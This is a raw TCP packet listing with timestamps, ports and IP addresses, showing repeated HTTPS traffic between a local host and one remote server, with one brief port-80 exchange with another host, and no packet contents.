Dec 19, 2023 05:19:51.670361996 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670502901 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.670509100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670525074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670542955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670641899 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.670660973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670680046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670711994 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.670717955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670738935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670778036 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.670784950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670860052 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.670869112 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670922041 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.670929909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670953035 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.670989990 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.670996904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.671009064 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.671061993 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.671068907 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.671077967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.671145916 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.671155930 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.671220064 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.671230078 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.671247959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.671269894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.671287060 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.671376944 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.671427011 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:51.880754948 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:51.880839109 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:52.316745996 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:52.316834927 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:53.148750067 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:53.148921013 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:54.812733889 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:54.812918901 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:56.722961903 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:56.722981930 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:56.722991943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:56.723050117 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:56.723057032 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:56.723067999 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:56.723087072 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:56.723093033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:56.723104954 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:56.723109007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:56.723119020 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:56.723149061 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:56.723180056 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:56.932750940 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:56.932801962 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.140739918 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.141005039 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.161499023 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.161509037 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.161525011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.161536932 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.161720037 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.161729097 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.161742926 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.161757946 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.161871910 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.161880016 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.161890984 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.161928892 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.161963940 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.161963940 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.161963940 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162024021 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162029982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.162106991 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162113905 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.162187099 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162193060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.162249088 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162269115 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.162296057 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162302017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.162333012 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162380934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162389040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.162446022 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162451982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.162494898 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162499905 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.162556887 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162564993 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.162666082 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162672997 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.162723064 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162729025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.162750959 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.162777901 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162852049 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.162902117 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.372741938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.372817993 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:57.788748980 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:57.788824081 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:19:58.620743036 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:19:58.620924950 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:00.280750990 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:00.280905962 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:01.167515039 CET	49712	80	192.168.2.6	213.248.43.40
Dec 19, 2023 05:20:01.450210094 CET	80	49712	213.248.43.40	192.168.2.6
Dec 19, 2023 05:20:03.800745010 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:03.801065922 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:04.675107002 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:04.675122023 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:04.675133944 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:04.675183058 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:04.675189972 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:04.675204992 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:04.675211906 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:04.675221920 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:04.675225973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:04.675247908 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:04.675256968 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:04.675285101 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:04.675326109 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:04.880750895 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:04.880955935 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.024401903 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.024427891 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.024456024 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.024470091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.024636030 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.024643898 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.024662018 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.024682045 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.024705887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.024714947 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.024872065 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.024878025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.024903059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.024935961 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.024940014 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.025017023 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.025022030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.025038004 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.025136948 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.025144100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.025161982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.025183916 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.025190115 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.025228024 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.025233030 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.025274038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.025278091 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.025360107 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.025372028 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.025430918 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.025435925 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.025454998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.025490046 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.025496006 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.025553942 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.025563002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.025624037 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.025631905 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.025670052 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.025731087 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.025759935 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.236743927 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.236912012 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:05.656749010 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:05.657011032 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:06.488745928 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:06.488869905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:08.152738094 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:08.152879953 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.217941999 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.217969894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.217982054 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.217989922 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.218102932 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.218111038 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.218127012 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.218295097 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.218300104 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.218437910 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.424738884 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.424907923 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.645230055 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.645256996 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.645268917 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.645391941 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.645399094 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.645417929 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.645503044 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.645509958 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.645538092 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.645541906 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.645692110 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.645697117 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.645739079 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.645754099 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.645766973 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.645931959 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.645937920 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.645987988 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646024942 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.646030903 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646059990 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.646064043 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646171093 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.646178007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646270037 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.646277905 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646325111 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646375895 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.646380901 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646476030 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.646482944 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646544933 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646563053 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.646584034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646718025 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.646725893 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646734953 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646819115 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.646825075 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646889925 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646927118 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.646931887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646941900 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.646989107 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.647095919 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:11.852751970 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:11.853096962 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:12.284739017 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:12.284940958 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:13.112751007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:13.112942934 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:14.780745983 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:14.780837059 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:18.140738010 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:18.140799046 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.015433073 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.015460968 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.015472889 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.015539885 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.015547037 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.015559912 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.015635014 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.015657902 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.015681982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.015734911 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.015759945 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.224740982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.224939108 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.432738066 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.432889938 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.439352989 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.439357996 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.439368963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.439557076 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.439562082 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.439575911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.439587116 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.439692020 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.439697981 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.439718962 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.439738035 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.439742088 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.439825058 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.439834118 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.439851999 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.439878941 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.439886093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.439960003 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.439965963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.439974070 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.440049887 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.440056086 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.440113068 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.440118074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.440144062 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.440162897 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.440181017 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.440180063 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.440193892 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.440232992 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.440243006 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.440280914 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.440287113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.440335989 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.440340996 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.440357924 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.440383911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.440387964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.440414906 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.440421104 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.440465927 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.440536976 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.440543890 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.440570116 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.440582037 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.440639973 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:20.648749113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:20.648921013 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:21.084738016 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:21.085047960 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:21.916738987 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:21.916941881 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:23.576747894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:23.576872110 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.595076084 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.595103979 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.595117092 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.595231056 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.595236063 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.595251083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.595256090 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.595329046 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.595335960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.595421076 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.804738045 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.804811954 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.970819950 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.970845938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.970863104 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.970961094 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.970968008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.970976114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.970988035 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971019030 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.971023083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971060991 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.971065998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971072912 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971117973 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:20:26.971122026 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971143007 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:20:26.971175909 CET	49718	443	192.168.2.6	108.181.20.35
